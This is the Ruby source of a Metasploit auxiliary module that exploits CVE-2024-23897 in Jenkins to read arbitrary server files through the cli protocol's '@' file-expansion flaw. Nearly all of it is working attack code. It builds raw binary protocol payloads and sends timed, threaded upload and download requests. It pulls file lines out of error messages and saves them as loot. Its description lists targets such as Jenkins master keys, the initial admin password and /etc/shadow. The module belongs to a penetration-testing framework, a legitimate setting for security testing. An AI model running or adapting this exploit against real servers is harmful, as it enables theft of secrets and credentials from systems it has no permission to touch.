## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Jenkins prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read', 'Description' => %q{ This module utilizes the Jenkins cli protocol to run the `help` command. The cli is accessible with read-only permissions by default, which are all thats required. Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to replace any `@` with the contents of a file. We are then able to retrieve the error message to read up to the first two lines of a file. Exploitation by hand can be done with the cli, see markdown documents for additional instructions. There are a few exploitation oddities: 1. The injection point for the `help` command requires 2 input arguments. When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument. If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.` However, we can pad out the content by supplying a first argument. 2. There is a strange timing requirement where the `download` (or first) request must get to the server first, but the `upload` (or second) request must be very close behind it. From testing against the docker image, it was found values between `.01` and `1.9` were viable. Due to the round trip time of the first request and response happening before request 2 would be received, it is necessary to use threading to ensure the requests happen within rapid succession. Files of value: * /var/jenkins_home/secret.key * /var/jenkins_home/secrets/master.key * /var/jenkins_home/secrets/initialAdminPassword * /etc/passwd * /etc/shadow * Project secrets and credentials * Source code, build artifacts }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Yaniv Nizry', # discovery 'binganao', # poc 'h4x0r-dz', # poc 'Vozec' # poc ], 'References' => [ [ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'], [ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'], [ 'URL', 'https://github.com/binganao/CVE-2024-23897'], [ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'], [ 'URL', 'https://github.com/Vozec/CVE-2024-23897'], [ 'CVE', '2024-23897'] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2024-01-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ ], 'SideEffects' => [ ] }, 'DefaultOptions' => { 'RPORT' => 8080, 'HttpClientTimeout' => 3 # very quick response, so set this low } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']), ] ) register_advanced_options( [ OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]), OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']), OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US']) ] ) end def check version = jenkins_version return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank? version = Rex::Version.new(version) if version <= Rex::Version.new('2.426.2') || # LTS check (version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts return Exploit::CheckCode::Appears("Found exploitable version: #{version}") end Exploit::CheckCode::Safe("Found non-exploitable version: #{version}") end def request_header "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00" end def request_footer data = [] data << "\x00\x00\x00\x07\x02\x00" data << [datastore['ENCODING'].length].pack('C') # length of encoding string data << datastore['ENCODING'] data << "\x00\x00\x00\x07\x01\x00" data << [datastore['LOCALITY'].length].pack('C') # length of locality string data << datastore['LOCALITY'] data << "\x00\x00\x00\x00\x03" data end def parameter_one # a literal parameter of 1 "\x03\x00\x00\x01\x31\x00\x00\x00" end def data_generator(pad: false) data = [] data << request_header data << parameter_one if pad data << [datastore['FILE_PATH'].length + 3].pack('C').to_s data << "\x00\x00" data << [datastore['FILE_PATH'].length + 1].pack('C').to_s data << "\x40" data << datastore['FILE_PATH'] data << request_footer data.join('') end def upload_request(uuid, multi_line_file: true) # send upload request asking for file # In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request # which is required for successful exploitation sleep(datastore['DELAY']) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cli'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/octet-stream', 'headers' => { 'Session' => uuid, 'Side' => 'upload' }, 'vars_get' => { 'remoting' => 'false' }, 'data' => data_generator(pad: multi_line_file) ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200 # we don't get a response here, so we just need the request to go through and 200 us end def process_result(use_pad) # the output comes back as follows: # ERROR: Too many arguments: # java -jar jenkins-cli.jar help # [COMMAND] # Lists all the available commands or a detailed description of single command. # COMMAND : Name of the command (default: ) # The main thing here is we get the first 2 lines of output from the file. # The 2nd line from the file is returned on line 1 of the output, and line # 1 from the file is returned on the last line of output. If padding was used # then will just be a literal 1 file_contents = [] @content_body.split("\n").each do |html_response_line| # filter for the two lines which have output if html_response_line.include? 'ERROR: Too many arguments' file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip elsif html_response_line.include? 'COMMAND : Name of the command (default:' temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '') temp = temp.chomp(')').strip file_contents.insert(0, temp) end end return if file_contents.empty? # if we padded out, then our first line is 1, so drop that file_contents = file_contents.drop(1) if use_pad == true print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}") stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH']) print_good("Results saved to: #{stored_path}") end def download_request(uuid) # send download request res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cli'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Session' => uuid, 'Side' => 'download' }, 'vars_get' => { 'remoting' => 'false' } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200 @content_body = res.body end def run uuid = SecureRandom.uuid print_status("Sending requests with UUID: #{uuid}") # Looking over the python PoCs, they all include threading however # the writeup, and PoCs don't mention a timing component. # However, during testing it was found that the two requests need to # hit the server nearly simultaneously, with the 'download' one hitting # first. During testing, even a .1 second slowdown was too much and # the server resulted in a 500 error. So we need to thread these to # execute them fast enough that the server gets both in rapid succession use_pad = false threads = [] threads << framework.threads.spawn('CVE-2024-23897', false) do upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get end threads << framework.threads.spawn('CVE-2024-23897', false) do download_request(uuid) end threads.map do |t| t.join rescue StandardError nil end # we got an error that means we need to pad out our value, so rerun with pad if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.') print_status('Re-attempting with padding for single line output file') use_pad = true threads = [] threads << framework.threads.spawn('CVE-2024-23897-upload', false) do upload_request(uuid, multi_line_file: use_pad) end threads << framework.threads.spawn('CVE-2024-23897-download', false) do download_request(uuid) end threads.map do |t| t.join rescue StandardError nil end end if @content_body process_result(use_pad) else print_bad('Exploit failed, no exploit data was successfully returned') end end end